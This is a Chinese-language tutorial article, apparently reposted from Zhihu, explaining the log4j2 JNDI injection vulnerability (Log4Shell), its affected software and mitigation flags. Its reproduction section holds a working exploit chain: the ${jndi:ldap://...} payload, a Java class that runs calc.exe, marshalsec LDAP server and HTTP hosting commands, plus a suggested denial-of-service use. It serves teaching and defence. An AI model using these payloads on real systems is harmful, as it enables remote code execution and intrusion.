log4j2 网络安全史册上的漏洞

不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。

通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。

在Java技术栈中，用的比较多的日志输出框架主要是 log4j2 和 logback 。

今天讨论的主角就是 log4j2。

我们经常会在日志中输出一些变量，比如：

logger.info("client ip: {}", clientIp)

现在思考一个问题：

假如现在想要通过日志输出一个Java对象，但这个对象不在程序中，而是在其他地方，比如可能在某个文件中，甚至可能在网络上的某个地方，这种时候怎么办呢？

log4j2 的强大之处在于,除了可以输出程序中的变量,它还提供了一个叫 Lookup 的东西,可以用来输出更多内容：

lookup，顾名思义就是查找、搜索的意思，那在log4j2中，就是允许在输出日志的时候，通过某种方式去查找要输出的内容。

一、背景

JNDI 是什么?

JNDI即 Java Naming and Directory Interface（JAVA命名和目录接口），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。

看不懂？看不懂就对了！

简单粗暴理解：有一个类似于字典的数据源，你可以通过JNDI接口，传一个name进去，就能获取到对象了。

那不同的数据源肯定有不同的查找方式，所以JNDI也只是一个上层封装，在它下面也支持很多种具体的数据源。

LDAP 与 JNDI 关系？

继续把目光聚焦，咱们只看这个叫LDAP的东西。

LDAP 即 Lightweight Directory Access Protocol（轻量级目录访问协议），目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。所以目录天生是用来查询的，就好像它的名字一样。

看不懂？看不懂就对了！

这个东西用在统一身份认证领域比较多，但今天也不是这篇文章的重点。你只需要简单粗暴理解：

有一个类似于字典的数据源，你可以通过LDAP协议，传一个name进去，就能获取到数据。

二、漏洞原理

好了，有了以上的基础，再来理解这个漏洞就很容易了。

假如某一个Java程序中，将浏览器的类型记录到了日志中：

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);

网络安全中有一个准则：不要信任用户输入的任何信息

这其中，User-Agent就属于外界输入的信息，而不是自己程序里定义出来的。只要是外界输入的，就有可能存在恶意的内容。

假如有人发来了一个HTTP请求，他的 User-Agent 是这样一个字符串：

${jndi:ldap://127.0.0.1/exploit}

接下来，log4j2将会对这行要输出的字符串进行解析。

首先，它发现了字符串中有 ${}，知道这个里面包裹的内容是要单独处理的。

进一步解析，发现是JNDI扩展内容。

再进一步解析，发现了是LDAP协议，LDAP服务器在127.0.0.1，要查找的key是exploit。

最后，调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据，那也没什么，但问题就出在还可以请求Java对象！

Java对象一般只存在于内存中，但也可以通过 序列化 的方式将其存储到文件中，或者通过网络传输。

如果是自己定义的序列化方式也还好，但更危险的在于：JNDI还支持一个叫命名引用（Naming References）的方式，可以通过远程下载一个class文件，然后下载后加载起来构建对象

PS：有时候Java对象比较大，直接通过LDAP这些存储不方便，就整了个类似于二次跳转的意思，不直接返回对象内容，而是告诉你对象在哪个class里，让你去那里找。

注意，这里就是核心问题了：JNDI可以远程下载class文件来构建对象！！！。

危险在哪里？

如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码，那不就完犊子了吗？

还没看懂？没关系，我画了一张图：

这就是鼎鼎大名的JNDI注入攻击！

其实除了LDAP，还有RMI的方式，有兴趣的可以了解下。

JNDI 注入

其实这种攻击手法不是这一次出现了，早在2016的blackhat大会上，就有大佬披露了这种攻击方式。

回过头来看，问题的核心在于：

Java允许通过JNDI远程去下载一个class文件来加载对象，如果这个远程地址是自己的服务器，那还好说，如果是可以被外界来指定的地址，那就要出大问题！

前面的例子中，一直用的127.0.0.1来代替LDAP服务器地址，那如果输入的User-Agent字符串中不是这个地址，而是一个恶意服务器地址呢？

三、影响范围

影响规模

这一次漏洞的影响面之所以如此之大，主要还是log4j2的使用面实在是太广了。

一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛，国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外，还有多如牛毛的中小企业选择Java。

可能的受影响应用包括但不限于如下： Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、flume、dubbo、Redis、logstash、kafka

影响版本

此次受影响版本如下：

四、修复方案

1. 紧急缓解措施

（1） 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true     
（2） 修改配置log4j2.formatMsgNoLookups=True
（3） 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

五、漏洞复现

POC验证

1.添加log4j2相关jar包（maven）

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

2.POC代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
	//127.0.0.1:9999 可替换成dnslog平台或vps地址
        logger.error("${jndi:ldap://127.0.0.1:9999/}");
    }
}

3.Vps上使用nc开启监听

# nc -lvvp 9999

4.运行java代码

有连接信息

1. 修改配置log4j2.formatMsgNoLookups=True

2. 再次运行代码发现nc没有连接信息，缓解措施有效

Exploit 执行calc命令

1. 编写ExpCalc.java

public class ExpCalc{
    public ExpCalc() throws Exception {
        Runtime.getRuntime().exec(new String[]{"cmd.exe","/c", "calc.exe"});
    }

    public static void main(String[] args) throws Exception {
    }
}

2.编译class文件放到服务器上

javac ExpCalc.java

可以使用python3搭建httpserver python3 -m http.server 9999

3.使用marshalsec生成jndi服务

java		-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9999/#ExpCalc

4.运行payload，即可执行命令，弹出计算器

logger.error("${jndi:ldap://127.0.0.1:9999/ExpCalc}");

利用方式

使用 socket 连接进行DDOS

如果 java 版本高，无法执行恶意类。但可创建第一次连接，server 监听大量 socket 端口，即少量成本可造成DOS洪流。

注意！！！

仅供学习参考,禁止传播！！！ 作者概不负责

转载

https://zhuanlan.zhihu.com/p/444103520